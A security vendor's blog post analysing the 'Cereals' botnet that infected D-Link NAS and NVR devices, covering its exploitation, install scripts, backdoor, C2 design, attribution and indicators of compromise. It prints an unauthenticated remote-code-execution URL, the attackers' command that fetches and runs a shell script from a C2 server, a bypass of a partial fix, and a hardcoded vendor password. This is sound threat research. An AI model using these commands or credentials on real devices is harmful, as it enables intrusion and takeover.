This website uses cookies. By continuing to browse this website, you accept our use of cookies and our Cookie Policy. Close
Tuesday, May 05, 2020

The Cereals Story - Creating a Botnet During Breakfast

Photo by Markus Spiske on Unsplash

Share

Robert Neumann Senior Security Researcher

We are proud to provide all the details what we’ve been asked for since presenting our research last December at Botconf 2019. If you own a D-Link NAS or NVR device, care about network security or just being interested in exotic IoT botnets; this one is for you! A word of warning – this write-up goes into deep technical details. Enjoy!

Electronic storage evolved parallel to the evolution of personal computers (PCs). Times when the sole option was a full-height internal hard drive weighing 10 pounds and with a capacity measured equal in megabytes is long gone. Hard drives were shrinking in size, growing in capacity, external enclosures and connectivity options increased. Along came the need for files to be accessed from multiple PCs at once. The answer was network attached storage (NAS) solutions.

Further down the road came another desire, to access files from literally anywhere in the world if an internet connection was present. Some just wanted to send their summer vacation photos right back home for safe storage - in case their mobile phone met the pool by accident - others had to access vital documents on a business trip. NAS devices were not restricted anymore to the local network, they successfully set a foothold on the internet.

When Search-Lab approached us about a rather unique piece of malicious code on a consumer grade device, we were expecting yet another coin miner or Mirai clone. Instead it turned out to be something different, a cleverly designed small scale botnet targeting only NAS and NVR devices, utilizing four different methods for controlling its nodes - and with a very specific purpose.

Becoming a part of something

It's common practice amongst security researchers to simply hook an IoT device onto the internet, wait a couple of hours or days - depending on multiple factors, like the popularity and “buggyness” of the given device - and see what happens. A similar approach has been followed in this case by installing a community based toolset onto a D-Link DNS-320 device. This device has a very limited default feature set when it comes to diagnostic investigation. For example, compared to routers, there are no preinstalled services like telnet or in-built commands to get the list of running processes. This shortcoming makes these units an even more appealing target for cybercriminals.

It took approximately 24 hours for the internet hook to bear fruit. A new process called "bdcheck" appeared on the list along with the names of some familiar proxies. It was time to investigate how they got there, from where, and whether the intention is malicious as expected.

 

Taking advantage of new features

The firmware of these devices utilizes lots of compiled CGI scripts for its base functionality. In our case, there appears to be a vulnerability[1] in the “system_mgr” component – precisely in the SMS handling code - which is responsible for notification management. The initial v1.0 firmware of the DNS-320 model did not utilize SMS based notifications when the device hit the market in 2010, however this function was added in the v2.0 firmware update at the end of the year. The addition of the SMS notification feature introduced the vulnerability what made exploitation possible and ultimately lead to the botnet infection.

 

Upon further investigation of the “system_mgr” component it became evident that there were multiple issues with the underlying code. It was possible to use the newly introduced SMS interface without authentication and by sending a properly crafted command, it could lead to remote code execution (RCE) on the device.

A sample command for exploitation:

"http://<device IP>/cgi-bin/system_mgr.cgi?cmd=cgi_sms_test&command1=ls"

The problem lies in the handling of the parameters passed to the “cgi_sms_test” function. As there is no validation on the values, they would be just used as an argument for a system call. This results in remote code execution (RCE) on the device with root privileges.

 

This is the actual exploitation attempt during botnet client deployment for command1:

“/usr/bin/wget --no-check-certificate "https://94.102.52.85/db/dlink_install.sh" -O- | /bin/ash -x 2>&1 | openssl enc -base64”

The purpose of the above command is to retrieve a shell script from a remote location – initially from Dropbox, later from different C2 servers - execute it and return the result in a base64 encoded format. Judging by the naming convention of the downloaded script, this was specifically crafted for D-Link devices.

We believe that the initial exploitation stage was carried out by the operators of the botnet, manually, with the help of IP addresses gathered from known services such as Shodan or Censys. We could not find any evidence which would point towards a device-to-device infection vector.

Note that in some debug versions of the firmware, all commands received through the SMS interface – and some internal ones - are logged into a file called “msg” in the device’s web root directory. This can also help to reveal the exploitation attempts by the Cereals botnet or by any other adversary using the very same vulnerability.

The install script – Setting up a new node

The infection process is split into multiple shell scripts (some are close to 30kb in size!) which were originally located on a Dropbox user account. Once initiated, they will attempt to install a package manager which otherwise is not part of the base firmware (due to the limited functionality as stated above). After the package manager is successfully installed it will be used to deploy further packages for services listed below:

- VPN (Tinc)

- HTTP proxy (Polipo)

- Socks proxy (Nylon)

- SSH daemon (Dropbear)

Additionally, a new root and remote user account will be created with a predefined password along with the deployment of an SSH key for remote access. The setup process is concluded by the decoding (base64) and dropping of the "bdcheck" shell script which is responsible for persistence and communication with the C2. Finally, “bdcheck” will also decode and drop an embedded backdoor component.

Note that early versions of the botnet did not contain the backdoor, it only appeared after version 4, also “bdcheck” later got renamed to “updcheck”.

 

How not to fix a hole?

Another common practice in the IoT botnet space is the fixing of vulnerabilities by the malware itself. It would ensure that the device couldn't be continually exploited in the same way, and whatever malicious code was deployed stays intact. The goal of this is rather obvious and can be easily showcased with a coin miner versus DDoS example. Let's assume an IoT device would be infected with a coin miner which would heavily capitalize on CPU resources. Now if a different adversary would like to (ab)use the same device for DDoS purposes, they would need to clean up the coin mining activity first - as resources are limited.

Probably the same ideology was driving the operators of our botnet with the exception of not fixing the vulnerability properly. During the setup of a new node the following is added to the Lighttpd config:

"HTTP["querystring"] =~ "cmd=cgi_sms_test&command1=" {

   url.access-deny = ( "" ) }"

The problem with this solution is that it’s only a partial fix. Simply swapping the order of the "cmd" and "command1" parameters or using "command2" instead of "command1" would still result in successful exploitation.

The backdoor

One of the last actions of the install process is the dropping of a backdoor component. It is self-contained within the bdcheck/updcheck shell script in a base64 encoded format. It will be decoded and saved onto the device’s filesystem as “/usr/local/config/update” and also linked to “/var/www/apps/update.cgi”. The sole purpose of this tiny backdoor is the execution of any command received as root. To prevent unauthorized access, this functionality is protected by the use of a hardcoded key in the parameter list.

Adding backdoor capabilities ensures that the infected device can be still controlled remotely in the event that a subsequent firmware update renders the original exploit unviable. There is a distinct advantage from the malware's perspective in having storage units deployed in NAS and NVR devices; updates to the firmware do not touch the storage area of the device at all. Deploying malware there can result not only in extended persistence, but also a difficult removal procedure if detected.

 

Architecture

During the setup of a new node the install script is communicating with the C2 via a custom API call using DDNS. The C2 will generate unique RSA keypairs for each joining node for VPN based communication. The RSA keypair is a requirement for the Tinc package to operate, however their uniqueness makes monitoring the VPN traffic impossible without having the right keypair. There is also a set of RSS feeds – provided by the bdcheck/updcheck script and protected by an RSA signature – which is randomly used for retrieving additional commands.

 

While it appears to be just another way of controlling the nodes, an RSS feed can make it possible to reach out to all of them at once. This could be used to update all active nodes at the same time, or even as a kill switch to shut down the whole operation.

Note that there are a total of four different ways provided for accessing and controlling the nodes: SSH, RSS, the custom CGI backdoor and the exploited vulnerability.

Layout of the botnet

 

Layout of an infected node

 

Cereals

The whole botnet is organized into twelve subnets. Each subnet has a dedicated port (901-913), a unique name and a preassigned DDNS. The C2 will determine which subnet to assign to a newly joined node. We could not find a specific purpose of this segregation other than it could help load balancing and possibly selling subnets if interest arises. We named the botnet 'Cereals' after the naming convention of its subnets.

All this for…heaps of Anime

As soon as everything is set and a new node becomes part of the botnet, POST and GET requests will start to flow down from the C2. These requests are meant for logging into websites, searching for content, and finally retrieving direct links - mainly - to video files (AVI, MP4) or archives (RAR) containing videos. Strangely all seem to be only focusing on the content of Japanese animation movies - or as they call it: Anime. The requests aren't being pushed too frequently either, sometimes minutes pass by between them, allowing the botnet to operate under the radar.

 

At this point we were also hoping for exceptions amongst the heaps of Anime related requests, but either there is none, or it wasn’t routed through our honeypots. We had to conclude that this is either a simplistic Hobby-VPN-Based-Web-Crawler project of someone or there is a hidden agenda behind the scenes that we lack the evidence of.

Note that components of the botnet are running with root privileges, and as such, they could access any content stored on the disks. These devices were meant mainly for home use; however, we've seen exceptions where they’ve been deployed for governmental use, possibly containing sensitive or confidential content. Having said that, our honeypots were not reporting on any access to files so far, but that does not lower the protentional risk of it.

 

Who is behind it?

Identifying real persons behind a botnet - or any piece of malicious code - is a challenging and often impossible exercise. Cybercriminals from the higher end of the cyber food chain plan their acts very carefully, such that there is little to no evidence in their code which could help law agencies or incident response teams to discover their identities. We could say that the creator of the Cereals botnet was also careful not to leave any useful clues behind – but he wasn’t entirely successful.

The first wave of exploitation attempts were logged from a German IP address before he moved over to using the TOR network. Some of the C2 servers were also setup in Germany prior to picking a more bulletproof ISP in the Netherlands. Email addresses used for forum logins were registered at T-Online Germany. Finally, he made a small mistake while creating some of the IPK packages required for the botnet client to operate. These archives - just like any compressed TAR file - also contain group and user specific information, in our case both was set to "stefan" which is of no surprise, a popular German name.

 

Timeline and evolution             

At the time of discovery by Search-Lab in 2013, the main botnet version was already at v4. The version number can be located either at the beginning of the install script (see Figure 4) or in the “/var/www/apps/version.txt” file on infected devices. Development was mainly focusing on updates of the install scripts, with versions v6, v7, v8 and v9 quickly appearing in 2014, and after a bit of a slowdown reaching the current v11 sometimes in 2017. The backdoor component once introduced remained the same over the years.

There was an outstanding event we witnessed at the end of 2014, a mass removal attempt was carried out from a Canadian IP address by using the same vulnerability, unfortunately it did not last long. As the vulnerability wasn’t fixed after the cleanup, devices quickly got reinfected with v9 within a month.

 

Thanks to a sort of hidden feature (GraphDumpFile) of the Tinc proxy and the publicly accessible “version.txt” files under infected devices’ webroot, we could measure the size of the botnet, which at its peak came close to 10,000 infected devices in 2015.

 

Is there anything beyond the scope of NAS and NVR?

During our investigation we’ve been mainly focusing on affected D-Link devices as we've found no evidence of the botnet targeting other known brands from the NAS space. Having said that, there were files located on the original Dropbox account and C2 servers, which indicate interest by the author in routers or other IoT devices utilizing a specific ARM (TS-72XX) chipset. As only package files were gathered related to this and no installation scripts which would deploy a botnet client, we are unsure whether this happened parallel to the headway of the D-Link based botnet or was just a previously unsuccessful attempt resulting in a move to a more promising target.

The OEM Issue

Additionally, we've found out that D-Link is selling some of these devices to OEM partners. TrendNET and Western Digital are two companies who are also interested in bringing NAS solutions to the consumer market. Analyzing the firmware of some of their matching devices quickly backed up our initial assumption, their firmware was provided by D-Link and base functionalities were identical. In case of Western Digital, they are facing a set of different vulnerabilities most originating back to D-Link – like hardcoded users and passwords set to

"mydlinkBRionyg/abc12345cba" - however we could not find the same SMS notification code in the re-branded device’s firmware. It either never presented or got already removed by D-Link by the time code was shipped to WD. That also explains why we’ve seen existence of the Cereals botnet only on D-Link branded equipment.

Close to Extinction - The Bigger Fish

There are at least three key factors which caused the botnet to shrink over the years. Firstly, these devices were primarily created for the consumer market and their average lifecycle is somewhere between 5-10 years, top. Looking back at the botnet’s timeline it’s easy to see that devices which were initially infected in around 2012 would be 8 years old by now. So, we can surmise that a fair amount of those are in a non-operational state as of today - or they were simply replaced by newer models along the way. Secondly, we assume that some got their firmware updated to a non-vulnerable version and carried out a full wipe, but that would be still a minority.

 

Finally, the biggest threat to Cereals came in a form of a D-Link specific ransomware called "Cr1ptT0r" at the end of 2018. The ransomware exploited yet another RCE and if executed it would encrypt all content on the disk drives. Due to its severity D-Link even provided firmware updates to some of the EOL devices.

While there is something slightly poetic about a new piece of malware eating up the previously deployed one, it’s also disappointing, since in our case the former had years of existence before this actually happened.

 

Conclusion

The ever-increasing number of internet-enabled devices are presenting new challenges to both companies and individuals. The primary focus for a number of vendors behind such equipment will be on the hardware side, a device working as it was intended to, while the software side is sort of a necessary must. With little to no effort dedicated to security it will inevitably result in a buggy device connected to the internet. To make things worse, even if security issues are revealed and vendors are willing to fix them, there is usually no auto-update mechanism implemented on these devices, meaning a manual update process will be required.

The creation of the Cereals botnet didn’t require thousands of lines of low-level device specific code, instead a highly motivated individual with good understanding of embedded devices, Linux systems and script programming. Stefan showcased how simply it is to exploit a well-documented vulnerability while cleverly picking a target which is ideal for the purpose and where malicious code can reside undetected for a long period of time. And all to serve his own personal interest.

The author would like to thank Search-Lab and especially Gergely Eberhardt for all their help and efforts on this joint research!

Protection statement

Forcepoint customers are protected against this threat at the following stages of attack: 

Stage 5 (Dropper File) – Malicious files are prevented from being downloaded.

Stage 6 (Call Home) – Attempts to contact C2 servers are blocked.

 

IOCs

Affected devices

DNS-320, DNS-320L, DNS-325, DNS-345, DNR-322L, DNR-326

Note that the above list might be incomplete, as we were not testing every device from D-Link against the vulnerability.

C2 Servers

hxxp://217.172.186.40

hxxp://93.174.93.219

hxxp://94.102.49.87

hxxp://94.102.52.85

Dropbox

hxxps://dl.dropboxusercontent.com/u/83099039/

hxxps://dl.dropbox.com/sh/rnyksindef1bgx7/

 

DDNS

alpha-srv.mooo.com    

zengo.cloudns.in      

ringringring.cloudns.in

bnnpn.cloudns.in      

sigur.cloudns.in      

jagged.nsupdate.info  

globulus.nsupdate.info

bigbird.nut.cc        

jazz.ibiz.cc          

finda.flu.cc          

flippo.ibiz.cc        

caramel.igg.biz       

coconuts.usa.cc

dropa.cloudns.in

rugos.cloudns.in

relos.bbsindex.com

revazi.linkpc.net

flippo.igg.biz

 

RSS

hxxp://feed.informer.com/digests/INSPKRR5OT/feeder.rss

hxxp://www.feedkiller.com/files/rss.php?id=31002

hxxp://feedpress.me/mayo20

hxxp://feed.feedsky.com/mayo20

hxxp://www.rssmix.com/u/4086000/rss.xml

Files

01034c63aea53c693ec773ce24974eba201b02af

087481ac1d9a135aedcadf0c0a89e13508d1923b

139964649669b4c18ea323bb98fe1930901da87e

278ab0852314cd64a72361cadfb8c5a34097c0fb

39330dea2f5ab6fdbf71a13ad345404bad5af22d

3c2b3bdae9b93ed3440a0101c9dca6dbeea8e369

46438f10b5a01d49ea314b50307e89a1db134fa2

5d2bfa9cb09ca11dd5f6c2c811b8713cbc58b47d

63d4f4ad88a1f4fafba1a918c973e804c955ad7a

6b5a7a7be0f6c48115a5d8aeb9eef8a9f597829f

6f7e1264ba7ad70d335fe213a438d7a7910676dd

71838ce1e91fc92e4d4487dc571410ffd8ea352e

7738969d2236a42c42c2c3e255ed60f8a2bbbc42

7baacfa43411a902369af6043b1c57d1217ae7ea

93f317c784e1f6459f7928478142eeed45ffd494

98e7752ee92612df33925bfde8aed9c293391cdd

9c7eeab053dd4f1d4e8756cc160e589b876a58fc

a1143c6883fd19547547749a046ddf2d16f36a25

af14d2a609666d27d42483d3d6d0f049bbddb1cb

af19478257669ad239126fa9ec62f6d9167ce662

b1da19ffc4527e47ed8ebc076f3ffc2cc1a88d0e

b3468d4a8b99c029556a7dc9cec1e8e308f3dff7

b42a87340543d3a0d961588c00d3e5064d6c0880

b75ca9b7b4797cc0ead4b993f9728b286df919de

d1ee3bbc38ae32eda0eafc7704510a48ae275026

d5ba576aa5b818b2a9f90b2ee530f5288f696221

e877b08b08ab8513a2fe3239aff90f0e78088ec4

f650ab74568b15fdd335bc8c4898d6440e055c75

fbd26c51424c7d7f75fe02d9de84c46084651384

fc6e87ebfcf01cf3bc291205fd39a91b83525b9b


[1] Note that the specific vulnerability was reported to the vendor by Roberto Paleari in 2012. The discovery of the botnet – along with the vulnerability – was also reported to the vendor by Search-Lab in July 2014.

 

About the Author

Robert Neumann

Senior Security Researcher

Robert Neumann is a Senior Security Researcher in Forcepoint X-Labs. He focuses on various short- and long-term research projects, ranging from small scale malicious campaigns through niche malware and file formats to in-depth investigations and threat actor attribution. 
 
Robert is...